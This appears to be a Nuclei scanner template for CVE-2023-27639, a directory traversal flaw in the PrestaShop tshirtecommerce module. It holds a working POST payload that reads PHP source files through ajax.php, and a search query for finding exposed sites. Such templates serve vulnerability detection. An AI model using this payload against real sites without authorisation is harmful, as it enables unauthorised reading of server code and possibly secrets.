43 lines
1.5 KiB
YAML
43 lines
1.5 KiB
YAML
id: CVE-2023-27639
|
|
|
|
info:
|
|
name: PrestaShop TshirteCommerce - Directory Traversal
|
|
author: MaStErChO
|
|
severity: high
|
|
description: |
|
|
The Custom Product Designer (tshirtecommerce) module for PrestaShop allows HTTP requests to be forged using POST and GET parameters, enabling a remote attacker to perform directory traversal on the system and view the contents of code files.
|
|
reference:
|
|
- https://www.cvedetails.com/cve/CVE-2023-27639/
|
|
- https://security.friendsofpresta.org/module/2023/03/30/tshirtecommerce_cwe-22.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-27639
|
|
classification:
|
|
cve-id: CVE-2023-27639
|
|
metadata:
|
|
max-request: 1
|
|
verified: true
|
|
framework: prestashop
|
|
product: tshirtecommerce
|
|
google-query: inurl:"/tshirtecommerce/"
|
|
tags: cve,cve2023,prestashop,tshirtecommerce,lfi
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/tshirtecommerce/ajax.php?type=svg"
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
body: "url=.%2F..%2Fvendor%2Fjdorn%2Fsql-formatter%2Fexamples&file_name=examples.php"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "SqlFormatter Examples"
|
|
- "SqlFormatter"
|
|
- "<?php"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 490a0046304402207f125ee72c98be9b22c75b611c8a3e71a119f33f690a5ee78c4ba24e3325fdf60220179c47c66c584da4e9e89eb68d89b61c4256e342a57912afdc70b6b7a656e38b:922c64590222798bb761d5b6d8e72950 |